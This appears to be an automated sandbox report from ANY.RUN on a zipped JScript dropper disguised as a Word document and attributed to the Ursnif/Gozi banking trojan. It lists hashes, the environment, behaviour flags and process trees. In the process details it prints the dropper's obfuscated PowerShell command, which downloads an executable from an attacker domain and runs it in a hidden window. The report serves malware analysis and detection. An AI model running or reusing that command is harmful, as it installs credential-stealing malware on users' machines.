General Info

File name

newdoocument.doc.zip

Full analysis
https://app.any.run/tasks/ae673c2a-48fa-4bd2-91b8-b24547072257
Verdict
Malicious activity
Threats:

Ursnif, also known as Gozi is one of the most widely spread banking trojans – it is aimed at stealing banking credentials and usually targets corporate victims. The malware was developed based on the leaked source code of a fairly old Gozi-ISFB trojan.

Analysis date
4/15/2019, 03:58:17
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:

loader

trojan

gozi

ursnif

evasion

dreambot

Indicators:

MIME:
application/zip
File info:
Zip archive data, at least v2.0 to extract
MD5

ab1feb71209a4d65e8b1d831aa9b0660

SHA1

74f125acf09826ef9b558139347be3a7e7cd0053

SHA256

0272e27e87a8fc252f0b578352ae336ca45f7fce0be81739349220734fffaed8

SSDEEP

48:9wH6fwm3sxhDZxesPqHzsIfZw2z2Lqkq4lIGUHtDGC7VM8ZiWcdG:us3snDZxesyHzDwWQjq4lKwZdG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
60 seconds
Additional time used
none
Fakenet option
off
Heavy Evaision option
off
MITM proxy
off
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
on

Software preset

  • Internet Explorer 8.0.7601.17514
  • Adobe Acrobat Reader DC MUI (15.023.20070)
  • Adobe Flash Player 26 ActiveX (26.0.0.131)
  • Adobe Flash Player 26 NPAPI (26.0.0.131)
  • Adobe Flash Player 26 PPAPI (26.0.0.131)
  • Adobe Refresh Manager (1.8.0)
  • CCleaner (5.35)
  • FileZilla Client 3.36.0 (3.36.0)
  • Google Chrome (73.0.3683.75)
  • Google Update Helper (1.3.33.23)
  • Java 8 Update 92 (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.6.1 (4.6.01055)
  • Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Professional 2010 (14.0.6029.1000)
  • Microsoft Office Proof (English) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (French) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Single Image 2010 (14.0.6029.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
  • Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
  • Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
  • Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
  • Notepad++ (32-bit x86) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype version 8.29 (8.29)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • KB2534111
  • KB2999226
  • KB976902
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • ProfessionalEdition
  • UltimateEdition

Behavior activities

MALICIOUS SUSPICIOUS INFO
Application was dropped or rewritten from another process
  • TempoZg18.exe (PID: 3648)
Downloads executable files from the Internet
  • powershell.exe (PID: 2184)
URSNIF Shellcode was detected
  • explorer.exe (PID: 2036)
Runs injected code in another process
  • TempoZg18.exe (PID: 3648)
Detected URSNIF Trojan
  • TempoZg18.exe (PID: 3648)
Executes PowerShell scripts
  • cmd.exe (PID: 3452)
Changes the autorun value in the registry
  • explorer.exe (PID: 2036)
Application was injected by another process
  • explorer.exe (PID: 2036)
Connects to CnC server
  • explorer.exe (PID: 2036)
Executes scripts
  • WinRAR.exe (PID: 2604)
Checks for external IP
  • nslookup.exe (PID: 2244)
Creates files in the user directory
  • TempoZg18.exe (PID: 3648)
  • powershell.exe (PID: 2184)
  • explorer.exe (PID: 2036)
Executable content was dropped or overwritten
  • powershell.exe (PID: 2184)
Starts CMD.EXE for commands execution
  • explorer.exe (PID: 2036)
  • WScript.exe (PID: 2348)

No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

TRiD
.zip
|   ZIP compressed archive (100%)
EXIF
ZIP
ZipRequiredVersion:
20
ZipBitFlag:
null
ZipCompression:
Deflated
ZipModifyDate:
2019:04:13 20:46:09
ZipCRC:
0xbdaf35ae
ZipCompressedSize:
2609
ZipUncompressedSize:
9419
ZipFileName:
newdoocument.doc.js

Screenshots

Processes

Total processes
41
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

+
start inject winrar.exe no specs wscript.exe no specs cmd.exe no specs powershell.exe #URSNIF tempozg18.exe no specs #URSNIF explorer.exe cmd.exe no specs nslookup.exe cmd.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
2036
CMD
C:\Windows\Explorer.EXE
Path
C:\Windows\explorer.exe
Indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Version:
Company
Microsoft Corporation
Description
Windows Explorer
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\shell32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\explorerframe.dll
c:\windows\system32\duser.dll
c:\windows\system32\dui70.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\dwmapi.dll
c:\windows\system32\slc.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\propsys.dll
c:\windows\system32\cryptbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\profapi.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\ehstorshell.dll
c:\windows\system32\cscui.dll
c:\windows\system32\cscdll.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\iconcodecservice.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\sndvolsso.dll
c:\windows\system32\hid.dll
c:\windows\system32\mmdevapi.dll
c:\windows\system32\timedate.cpl
c:\windows\system32\atl.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\actxprxy.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\userenv.dll
c:\windows\system32\shacct.dll
c:\windows\system32\samlib.dll
c:\windows\system32\samcli.dll
c:\windows\system32\netutils.dll
c:\windows\system32\msftedit.dll
c:\windows\system32\msls31.dll
c:\program files\common files\microsoft shared\ink\tiptsf.dll
c:\windows\system32\authui.dll
c:\windows\system32\cryptui.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\gameux.dll
c:\windows\system32\xmllite.dll
c:\windows\system32\wer.dll
c:\windows\system32\msiltcfg.dll
c:\windows\system32\version.dll
c:\windows\system32\msi.dll
c:\windows\system32\winsta.dll
c:\windows\system32\psapi.dll
c:\windows\system32\networkexplorer.dll
c:\windows\system32\winmm.dll
c:\windows\system32\wdmaud.drv
c:\windows\system32\ksuser.dll
c:\windows\system32\avrt.dll
c:\windows\system32\audioses.dll
c:\windows\system32\msacm32.drv
c:\windows\system32\msacm32.dll
c:\windows\system32\midimap.dll
c:\windows\system32\stobject.dll
c:\windows\system32\batmeter.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\es.dll
c:\windows\system32\prnfldr.dll
c:\windows\system32\winspool.drv
c:\windows\system32\dxp.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\syncreg.dll
c:\windows\ehome\ehsso.dll
c:\windows\system32\netshell.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\alttab.dll
c:\windows\system32\wpdshserviceobj.dll
c:\windows\system32\portabledevicetypes.dll
c:\windows\system32\portabledeviceapi.dll
c:\program files\filezilla ftp client\fzshellext.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\taskschd.dll
c:\windows\system32\mssprxy.dll
c:\windows\system32\pnidui.dll
c:\windows\system32\qutil.dll
c:\windows\system32\wevtapi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\npmproxy.dll
c:\windows\system32\wlanapi.dll
c:\windows\system32\wlanutil.dll
c:\windows\system32\wwanapi.dll
c:\windows\system32\wwapi.dll
c:\windows\system32\qagent.dll
c:\windows\system32\srchadmin.dll
c:\windows\system32\sxs.dll
c:\windows\system32\bthprops.cpl
c:\windows\system32\ieframe.dll
c:\windows\system32\oleacc.dll
c:\windows\system32\synccenter.dll
c:\windows\system32\actioncenter.dll
c:\windows\system32\imapi2.dll
c:\windows\system32\hgcpl.dll
c:\windows\system32\provsvc.dll
c:\windows\system32\netprofm.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\fxsst.dll
c:\windows\system32\fxsapi.dll
c:\windows\system32\fxsresm.dll
c:\windows\system32\wscinterop.dll
c:\windows\system32\wscapi.dll
c:\windows\system32\wscui.cpl
c:\windows\system32\werconcpl.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\wercplsupport.dll
c:\windows\system32\msxml6.dll
c:\windows\system32\hcproviders.dll
c:\program files\internet explorer\ieproxy.dll
c:\windows\system32\mpr.dll
c:\windows\system32\drprov.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\devrtl.dll
c:\windows\system32\thumbcache.dll
c:\windows\system32\winanr.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\sfc.dll
c:\windows\system32\sfc_os.dll
c:\program files\winrar\winrar.exe
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\credssp.dll
c:\windows\system32\wship6.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\napinsp.dll
c:\windows\system32\pnrpnsp.dll
c:\windows\system32\winrnr.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\msoeacct.dll
c:\windows\system32\msoert2.dll
c:\windows\system32\inetcomm.dll
c:\windows\system32\inetres.dll
c:\windows\system32\acctres.dll
c:\windows\system32\msxml3.dll
c:\program files\common files\system\wab32.dll
c:\windows\system32\cryptdlg.dll
c:\windows\system32\imagehlp.dll
c:\windows\system32\msimg32.dll
c:\windows\system32\netapi32.dll

PID
2604
CMD
"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\newdoocument.doc.zip"
Path
C:\Program Files\WinRAR\WinRAR.exe
Indicators
No indicators
Parent process
explorer.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Alexander Roshal
Description
WinRAR archiver
Version
5.60.0
Modules
Image
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
c:\windows\system32\shlwapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\uxtheme.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\gdiplus.dll
c:\windows\system32\msimg32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\riched20.dll
c:\program files\common files\microsoft shared\ink\tiptsf.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ehstorshell.dll
c:\windows\system32\cscui.dll
c:\windows\system32\cscdll.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\slc.dll
c:\windows\system32\imageres.dll
c:\windows\system32\mpr.dll
c:\windows\system32\drprov.dll
c:\windows\system32\winsta.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\netutils.dll
c:\windows\system32\wpdshext.dll
c:\windows\system32\winmm.dll
c:\windows\system32\portabledeviceapi.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\audiodev.dll
c:\windows\system32\wmvcore.dll
c:\windows\system32\wmasf.dll
c:\windows\system32\ehstorapi.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\samcli.dll
c:\windows\system32\samlib.dll
c:\windows\system32\profapi.dll
c:\windows\system32\wshext.dll
c:\windows\system32\wscript.exe
c:\windows\system32\explorerframe.dll
c:\windows\system32\duser.dll
c:\windows\system32\dui70.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll

PID
2348
CMD
"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2604.2040\newdoocument.doc.js"
Path
C:\Windows\System32\WScript.exe
Indicators
No indicators
Parent process
WinRAR.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Microsoft ® Windows Based Script Host
Version
5.8.7600.16385
Modules
Image
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\version.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\sxs.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\jscript.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\msisip.dll
c:\windows\system32\wshext.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\scrobj.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\propsys.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\psapi.dll
c:\windows\system32\oleacc.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\sfc.dll
c:\windows\system32\sfc_os.dll

PID
3452
CMD
"C:\Windows\System32\cmd.exe" /c WZyogGXBYAVORlS & p^owEr^she^lL.e^Xe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://instant-payments.ru/read.exe','%temp%oZg18.exe'); & start %temp%oZg18.exe & oRpKVOlCIauTiPD
Path
C:\Windows\System32\cmd.exe
Indicators
No indicators
Parent process
WScript.exe
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll
c:\users\admin\appdata\local\tempozg18.exe

PID
2184
CMD
powErshelL.eXe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://instant-payments.ru/read.exe','C:\Users\admin\AppData\Local\TempoZg18.exe');
Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuration\bc09ad2d49d8535371845cd7532f9271\system.configuration.ni.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\netutils.dll

PID
3648
CMD
C:\Users\admin\AppData\Local\TempoZg18.exe
Path
C:\Users\admin\AppData\Local\TempoZg18.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\tempozg18.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msimg32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\msvcr100.dll

PID
3556
CMD
cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\admin\AppData\Local\Temp\D3D6.bi1"
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
explorer.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\nslookup.exe

PID
2244
CMD
nslookup myip.opendns.com resolver1.opendns.com
Path
C:\Windows\system32\nslookup.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
nslookup
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\nslookup.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\napinsp.dll
c:\windows\system32\pnrpnsp.dll
c:\windows\system32\winrnr.dll
c:\windows\system32\wship6.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll

PID
3028
CMD
cmd /C "echo -------- >> C:\Users\admin\AppData\Local\Temp\D3D6.bi1"
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
explorer.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
